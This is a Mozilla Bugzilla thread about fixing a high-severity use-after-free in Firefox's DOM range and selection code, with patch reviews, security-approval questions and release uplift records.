Bugzilla

Andrew Overholt [:overholt]

Updated

•

7 years ago

Group: core-security → dom-core-security

status-firefox-esr52: --- → ?

Keywords: crash, csectype-uaf, regressionwindow-wanted, sec-high, testcase

Comment 4

•

7 years ago

Catalin, please take a look here. Mats can probably help if you aren't getting anywhere.

Flags: needinfo?(catalin.badea392)

Assignee

Comment 5

•

7 years ago

I think the problem is that we don't remove the range from its current selection before adding it to a new one.

Assignee: nobody → catalin.badea392

Flags: needinfo?(catalin.badea392)

Assignee

Comment 6

•

7 years ago

Attached patch Avoid adding the same range to multiple selections. (obsolete) — Details — Splinter Review

Attachment #8908687 - Flags: review?(mats)

Assignee

Comment 7

•

7 years ago

Attached file test.html — Details

Simpler version that triggers an assert in nsRange::SetSelection.

http://searchfox.org/mozilla-central/rev/2c9a5993ac40ec1db8450e3e0a85702fa291b9e2/dom/base/nsRange.cpp#1055

Comment 8

•

7 years ago

Comment on attachment 8908687 [details] [diff] [review]
Avoid adding the same range to multiple selections.

I think the invariant in the assertion here is valid.
Having both a non-null aSelection and mSelection is a sign that
something did go wrong earlier.  We could take this patch as
a kind of wallpaper (with an assertion added back before
the RemoveRange call), but I'd prefer fixing the underlying
bug first.

When the assertion fails in nsRange::SetSelection, we have:
(rr) p this->mSelection->HasSameRoot(*this->GetStartContainer())
$1 = false

That isn't a valid state.  It appears we get into this state
by first adding a valid Range to a Selection, then call
nsRange::SetEnd with a node from a different document.
We should reject such calls IMO (probably silently, since
that's what we do in Selection::Collapse in the same situation).

So I think we need to add an additional test in all places
we call IsValidBoundary() in nsRange code, with something
like this:
if (IsInSelection() && !mSelection->HasSameRoot(aNode)) {
  return NS_OK; // aNode is not a valid boundary node for this Range
}

(or modify IsValidBoundary() itself to do this check)

Attachment #8908687 - Flags: review?(mats) → review-

Assignee

Comment 9

•

7 years ago

(In reply to Mats Palmgren (:mats) from comment #8)
> Comment on attachment 8908687 [details] [diff] [review]
> Avoid adding the same range to multiple selections.
> 
> I think the invariant in the assertion here is valid.
> Having both a non-null aSelection and mSelection is a sign that
> something did go wrong earlier.  We could take this patch as
> a kind of wallpaper (with an assertion added back before
> the RemoveRange call), but I'd prefer fixing the underlying
> bug first.
It's much safer to enforce not being part of multiple selections
here. By fixing the callers to pass the assertions we might
miss some cases and end up having to fix this again.

> 
> When the assertion fails in nsRange::SetSelection, we have:
> (rr) p this->mSelection->HasSameRoot(*this->GetStartContainer())
> $1 = false
> 
> That isn't a valid state.  It appears we get into this state
> by first adding a valid Range to a Selection, then call
> nsRange::SetEnd with a node from a different document.
> We should reject such calls IMO (probably silently, since
> that's what we do in Selection::Collapse in the same situation).
I also think we should reject positioning on a node from a different
document when part of a selection. FWIW, Chrome does allow it.

> 
> So I think we need to add an additional test in all places
> we call IsValidBoundary() in nsRange code, with something
> like this:
> if (IsInSelection() && !mSelection->HasSameRoot(aNode)) {
>   return NS_OK; // aNode is not a valid boundary node for this Range
> }
> 
> (or modify IsValidBoundary() itself to do this check)
I'll add the check to IsValidBoundary.

Assignee

Comment 10

•

7 years ago

Attached patch Prevent dom ranges from positioning on elements from a different document when part of a selection. (obsolete) — Details — Splinter Review

I think we should also take the catch-all fix from the previous patch.

Attachment #8909329 - Flags: review?(mats)

Assignee

Comment 11

•

7 years ago

Comment on attachment 8908687 [details] [diff] [review]
Avoid adding the same range to multiple selections.

Resubmitting this for review. This is safer than expecting the debug assert to reveal all potential bugs.

Attachment #8908687 - Flags: review- → review?(mats)

Comment 12

•

7 years ago

Comment on attachment 8908687 [details] [diff] [review]
Avoid adding the same range to multiple selections.

(In reply to Cătălin Badea (:catalinb) from comment #10)
> I think we should also take the catch-all fix from the previous patch.

I agree, but I think we should treat this as safety fallback, because
if the assertion fails then we very likely have a bug further up
the call chain that we want to fix.  We don't want to silently accept
calls that fails that invariant.

>-  // At least one of aSelection and mSelection must be null
>-  // aSelection will be null when we are removing from a selection
>-  // and a range can't be in more than one selection at a time,
>-  // thus mSelection must be null too.

Please keep this comment, and keep the MOZ_ASSERT right after it.

>+  // Remove this range from the current selection before adding it to another.
>+  if (aSelection && mSelection) {
>+    mSelection->RemoveRange(this);
>+  }

Please change the comment to say it's a wallpaper, e.g.:
// This is a wallpaper in case our caller failed to ensure the above invariant.

r=mats with those changes

Attachment #8908687 - Flags: review?(mats) → review+

Comment 13

•

7 years ago

Comment on attachment 8909329 [details] [diff] [review]
Prevent dom ranges from positioning on elements from a different document when part of a selection.

r=mats, with a few nits:

>-  static nsINode* ComputeRootNode(nsINode* aNode)
>-  {
>-    return ComputeRootNode(aNode, false);
>-  }
...
>-  static nsINode* ComputeRootNode(nsINode* aNode,
>-                                  bool aMaySpanAnonymousSubtrees);

Please keep these two methods as is.  The reason is that
we don't want to expose the aMaySpanAnonymousSubtrees
param in the public API (since it's a thing we want to
get rid of eventually and thus don't want to enable
new consumers to depend on it).

Please add the following comment above the second declaration:
// This signature is intentionally non-public to avoid adding
// new code that depends on the "MaySpanAnonymousSubtrees" concept,
// which we want to remove eventually.

>+  inline nsINode* ComputeNewRootNode(nsINode* aNode) const
>+  {
>+    return ComputeRootNode(aNode, mMaySpanAnonymousSubtrees);
>+  }

Please move this method up a bit so that it's after the other
ComputeNewRootNode declaration, and move the non-public
ComputeRootNode after those two.

Also, it would be nice if you could document what the two-param
ComputeNewRootNode method does (at least).  In particular, point
out that for ranges that are in a Selection, it rejects nodes
that are not in the same document as that Selection.
And that it's this method that should be called from methods
that are entry points for JS methods since we want that check
there.

(The ComputeRootNode/ComputeNewRootNode naming seems slightly
confusing to me, although I don't have any better suggestions.)

Attachment #8909329 - Flags: review?(mats) → review+

Updated

•

7 years ago

Blocks: 1400179

Comment 14

•

7 years ago

This is a regression from bug 1395701 so I don't expect 52 is affected.

Do the new sanity checks on selection basically implement http://w3c.github.io/selection-api/#widl-Selection-addRange-void-Range-range step 1, or some other sanity-check?

Blocks: 1395701

Comment 15

•

7 years ago

Ah, those sanity checks (which we already do) won't help, because we're repositioning the range to be in a new document.

We should probably file some spec issues here, once we land the fix.  Cătălin, thank you for picking this up!

Should probably add some crashtests too.

tracking-firefox57: --- → ?

Assignee

Comment 16

•

7 years ago

Attached patch Avoid adding the same range to multiple selections. (obsolete) — Details — Splinter Review

Assignee

Updated

•

7 years ago

Attachment #8908687 - Attachment is obsolete: true

Attachment #8909329 - Attachment is obsolete: true

Assignee

Comment 17

•

7 years ago

Attached patch Prevent dom ranges from positioning on elements from a different document when part of a selection. (obsolete) — Details — Splinter Review

Assignee

Comment 18

•

7 years ago

Attached patch Prevent dom ranges from positioning on elements from a different document when part of a selection. (obsolete) — Details — Splinter Review

Assignee

Updated

•

7 years ago

Attachment #8910259 - Attachment is obsolete: true

Assignee

Comment 19

•

7 years ago

Attached patch Avoid adding the same range to multiple selections. — Details — Splinter Review

Assignee

Updated

•

7 years ago

Attachment #8910258 - Attachment is obsolete: true

Assignee

Comment 20

•

7 years ago

Comment on attachment 8910277 [details] [diff] [review]
Avoid adding the same range to multiple selections.

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
It's not obvious this fixes a crash without knowledge of the ownership relation between Selection and nsRange. Also, it needs specific gc.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
This should be landed with a different bug number, otherwise the commit message is fine.

Which older supported branches are affected by this flaw?
If not all supported branches, which bug introduced the flaw?
Comment #14 suggests this was introduced in 57 by bug 1395701.
I will need to check this.

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

How likely is this patch to cause regressions; how much testing does it need?
Unlikely to cause regressions.

Attachment #8910277 - Flags: sec-approval?

Assignee

Comment 21

•

7 years ago

Comment on attachment 8910267 [details] [diff] [review]
Prevent dom ranges from positioning on elements from a different document when part of a selection.

Do you think we should land this patch in an open bug?
The reasons would be that it changes web api behaviour and the other patch also prevents the UAF.

Attachment #8910267 - Flags: feedback?(mats)

Comment 22

•

7 years ago

(In reply to Cătălin Badea (:catalinb) from comment #21)
> Do you think we should land this patch in an open bug?

Sure, I think that's a good idea to avoid drawing attention to this change.

Comment 23

•

7 years ago

Comment on attachment 8910267 [details] [diff] [review]
Prevent dom ranges from positioning on elements from a different document when part of a selection.

>+  // *silently* reject root nodes different then that of the current selection

It should be "different than that" there I think (a instead of e).

Attachment #8910267 - Flags: feedback?(mats) → feedback+

Comment 24

•

7 years ago

(In reply to Cătălin Badea (:catalinb) from comment #20)

> Which older supported branches are affected by this flaw?
> If not all supported branches, which bug introduced the flaw?
> Comment #14 suggests this was introduced in 57 by bug 1395701.
> I will need to check this.


I'll need to know the answer before this can get sec-approval to land. We need to know how far back the bug goes.

Updated

•

7 years ago

Flags: needinfo?(catalin.badea392)

Comment 25

•

7 years ago

For what it's worth, I'm pretty sure this is a regression from bug 1395701.  See bug 1400179 comment 6 for an analysis of what used to happen before that patch in this situation, and it should not have led to UAF.

Julien Cristau [:jcristau]

Assignee

Comment 26

•

7 years ago

(In reply to Al Billings [:abillings] from comment #24)
> (In reply to Cătălin Badea (:catalinb) from comment #20)
> 
> > Which older supported branches are affected by this flaw?
> > If not all supported branches, which bug introduced the flaw?
> > Comment #14 suggests this was introduced in 57 by bug 1395701.
> > I will need to check this.
> 
> 
> I'll need to know the answer before this can get sec-approval to land. We
> need to know how far back the bug goes.

I couldn't reproduce the asan crash before bug 1395701, which confirms bz's analysis.

Flags: needinfo?(catalin.badea392)

Comment 27

•

7 years ago

bug 1395701 landed in 57.

status-firefox55: --- → unaffected

status-firefox56: --- → unaffected

status-firefox-esr52: ? → unaffected

tracking-firefox57: ? → +

Assignee

Updated

•

7 years ago

Flags: needinfo?(abillings)

Assignee

Comment 28

•

7 years ago

:abillings, could you please give the security approval now?

Comment 29

•

7 years ago

You don't need sec-approval for trunk-only issues, as I understand.  So this could have landed without sec-approval to start with.

That said, I don't know what the status is of this bug at this point, since 57 is branching today so it might now not be trunk-only anymore.  :(

Comment 30

•

7 years ago

The branch date for 57 was yesterday. It needs sec-approval and an uplift request for Beta now.

Comment 31

•

7 years ago

Comment on attachment 8910277 [details] [diff] [review]
Avoid adding the same range to multiple selections.

sec-approval+ for trunk.
Please also nominate a patch for Beta (57) to land after trunk is green.

Flags: needinfo?(abillings)

Attachment #8910277 - Flags: sec-approval? → sec-approval+

Assignee

Updated

•

7 years ago

Keywords: checkin-needed

Comment 32

•

7 years ago

Comment on attachment 8910267 [details] [diff] [review]
Prevent dom ranges from positioning on elements from a different document when part of a selection.

Per comment 21, this patch is going into a different bug.

Attachment #8910267 - Attachment is obsolete: true

Comment 33

•

7 years ago

https://hg.mozilla.org/integration/mozilla-inbound/rev/c3b24ef4281035ee00e09b3386fcbf2d672775c4

status-firefox58: --- → affected

tracking-firefox58: --- → ?

Keywords: checkin-needed, regressionwindow-wanted

Assignee

Comment 34

•

7 years ago

Comment on attachment 8910277 [details] [diff] [review]
Avoid adding the same range to multiple selections.

Approval Request Comment
[Feature/Bug causing the regression]:
dom ranges
[User impact if declined]:
Crash/potential exploit
[Is this code covered by automated tests?]:
No. I will add the test case as a crashtest once this gets uplifted.
[Has the fix been verified in Nightly?]:
Yes.
[Needs manual test from QE? If yes, steps to reproduce]:
No.
[List of other uplifts needed for the feature/fix]:
No.
[Is the change risky?]:
[Why is the change risky/not risky?]:
Not risky, it's a very simple change.
[String changes made/needed]:
None.

Attachment #8910277 - Flags: approval-mozilla-beta?

Sylvestre Ledru [:Sylvestre]

Comment 35

•

7 years ago

https://hg.mozilla.org/mozilla-central/rev/c3b24ef42810

Status: NEW → RESOLVED

Closed: 7 years ago

status-firefox58: affected → fixed

Resolution: --- → FIXED

Target Milestone: --- → mozilla58

Comment 36

•

7 years ago

Comment on attachment 8910277 [details] [diff] [review]
Avoid adding the same range to multiple selections.

Fix a sec-high, taking it

Attachment #8910277 - Flags: approval-mozilla-beta? → approval-mozilla-beta+

Julien Cristau [:jcristau]

Updated

•

7 years ago

tracking-firefox58: ? → +

Comment 37

•

7 years ago

uplift

https://hg.mozilla.org/releases/mozilla-beta/rev/3cfa5cf991a1

status-firefox57: affected → fixed

Updated

•

7 years ago

Group: dom-core-security → core-security-release

Updated

•

7 years ago

Blocks: 1402251

Updated

•

6 years ago

Flags: sec-bounty?

Updated

•

6 years ago

Flags: sec-bounty? → sec-bounty+

Keywords: regression